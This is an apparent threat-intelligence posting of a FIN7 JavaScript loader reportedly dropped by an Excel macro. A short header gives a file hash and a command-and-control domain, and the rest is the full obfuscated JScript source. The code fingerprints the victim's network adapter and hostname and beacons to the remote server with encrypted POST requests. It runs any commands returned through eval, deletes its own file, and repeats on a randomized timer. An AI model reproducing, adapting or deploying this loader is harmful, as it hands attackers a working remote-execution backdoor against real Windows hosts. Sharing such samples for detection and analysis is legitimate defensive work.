2019-03-04-FIN7-JS-Loader-from-Excel-Macro

// @VK_Intel
// Excel Macro SHA-256: 104b78637d1f5a07e96548330c928e608555983113ba7591cb11a78d4554944f 
// C2: https://tw32-cdn.com/


var lagulpufyhli = "create_image";
var ajagpavepg = "decrypt";
var ttiwudvifpiqq = "?request=content&id=";
var netosigtoc = "_";
var cqamanebfy = "request";
var lmazcotymysn = "images";
var qojuqpoqe = "/";
var cakopkewfuwgu = "show_ico";
var dtocejjipyczy = "rhizvazalawn=";
var zuhzomdaxa = "show_jpg";
var enydohudumh = "encrypt";
var bvylidbywulnu = "group=crypto&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=";
var ojebehama = "cdn";
var optawivviqz = "";
var ymxufryknutfi = "WScript.Shell";
var uxurmylan = "application/x-www-form-urlencoded";
var ycizofedga = "content";
var ulzefovfyvzeq = "_";
var xbensuhewfum = "action=get_command";
var eblimlosipi = "z";
var bfelwynfaxqijb = "string";
var bomjytodsoxi = "";
var tbajtycybtyh = "POST";
var icnugivwure = "no";
var lvyttikocyca = "&id=";
var soqpakupafxa = "";
var stedhiwivew = "MSXML2.ServerXMLHTTP";
var fqoxuttika = "POST";
var gqomexanvy = "&";
var miwdeswidyj = "request";
var iltozzicip = "encrypt";
var ybehubucit = "winmgmts:root/CIMV2";
var qekbygohnocp = "User-Agent";
var ypotekalmir = "";
var chenewedqub = "show_png";
var essajbazrekluv = "https://tw32-cdn.com/";
var zesekulkavfo = "encrypt";
var abbapepbehcof = "decrypt";
var gpybtulinanqu = "string";
var engoxedkegs = "get_image";
var ocweburdicva = "image";
var rizyjgicvuhzy = "create_logo";
var yhewizovop = "Unknown";
var habezyri = "Content-Type";
var epliznutvud = "fetch";
var vjatdykizxepu = "Scripting.FileSystemObject";
var expymxamixxe = "";
var msedkekano = "?request=page";
var yfbentylxuji = "no";
var zsilitykga = "";
var esxihacfyqc = "%APPDATA%";

function id() {
    var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true");
    var lItems = new Enumerator(lrequest);
    for (; !lItems.atEnd(); lItems.moveNext()) {
        var mac = lItems.item().macaddress;
        var dns_hostname = lItems.item().DNSHostName;
        if (typeof mac === bfelwynfaxqijb && mac.length > 1) {
            if (typeof dns_hostname !== bfelwynfaxqijb && dns_hostname.length < 1) {
                dns_hostname = yhewizovop;
            } else {
                for (var i = 0; i < dns_hostname.length; i++) {
                    if (dns_hostname.charAt(i) > eblimlosipi) {
                        dns_hostname = dns_hostname.substr(0, i) + ulzefovfyvzeq + dns_hostname.substr(i + 1);
                    }
                }
            }
            return mac + ulzefovfyvzeq + dns_hostname;
        }
    }
}

function crypt_controller(type, request) {
    var encryption_key = optawivviqz;
    if (type === ajagpavepg) {
        request = unescape(request);
        var request_split = request.split(")*(");
        request = request_split[0];
        encryption_key = request_split[1].split(optawivviqz);
    } else {
        encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split(optawivviqz);
    }
    var output = new Array(request.length);
    for (var i = 0; i < request.length; i++) {
        var charCode = request.charCodeAt(i) ^ encryption_key[i % encryption_key.length].charCodeAt(0);
        output[i] = String.fromCharCode(charCode);
    }
    var result_string = output.join(optawivviqz);
    if (type === enydohudumh) {
        result_string = result_string + ")*(" + encryption_key.join(optawivviqz);
        result_string = encodeURIComponent(result_string);
    }
    return result_string;
}

function get_path() {
    var pathes = [lmazcotymysn, ocweburdicva, ycizofedga, epliznutvud, ojebehama];
    var files = [rizyjgicvuhzy, engoxedkegs, lagulpufyhli, cakopkewfuwgu, chenewedqub, zuhzomdaxa];
    var path = pathes[Math.floor(Math.random() * pathes.length)] + qojuqpoqe + files[Math.floor(Math.random() * files.length)];
    return essajbazrekluv + path;
}

function send_data(type, data, crypt) {
    try {
        var http_object = new ActiveXObject(stedhiwivew);
        if (type === cqamanebfy) {
            http_object.open(fqoxuttika, get_path() + msedkekano, false);
            data = dtocejjipyczy + crypt_controller(enydohudumh, bvylidbywulnu + uniq_id + lvyttikocyca + id() + gqomexanvy + data);
        } else {
            http_object.open(fqoxuttika, get_path() + ttiwudvifpiqq + uniq_id, false);
            if (crypt) {
                data = crypt_controller(enydohudumh, data);
            }
        }
        http_object.setRequestHeader(qekbygohnocp, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/50.0");
        http_object.setRequestHeader(habezyri, uxurmylan);
        http_object.setOption(2, 13056);
        http_object.send(data);
        return http_object.responseText;
    } catch (e) {
        return icnugivwure;
    }
}

function main() {
    var ncommand = optawivviqz;
    ncommand = send_data(cqamanebfy, xbensuhewfum, true);
    if (ncommand !== icnugivwure) {
        try {
            eval(crypt_controller(ajagpavepg, ncommand));
        } catch (e) {}
    }
    var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
    WScript.Sleep(random_knock);
    main();
}
var first = false;
var shell = new ActiveXObject(ymxufryknutfi);
var fso = new ActiveXObject(vjatdykizxepu);
var wmi = GetObject(ybehubucit);
var uniq_id = new Date().getUTCMilliseconds();
var app_path = shell.expandEnvironmentStrings(esxihacfyqc);
if (fso.GetFolder(app_path).Type.length > 5) {
    fso.deleteFile(WScript.ScriptFullName);
    try {
        WScript.Sleep(120000);
        main();
    } catch (e) {
        main();
    }
}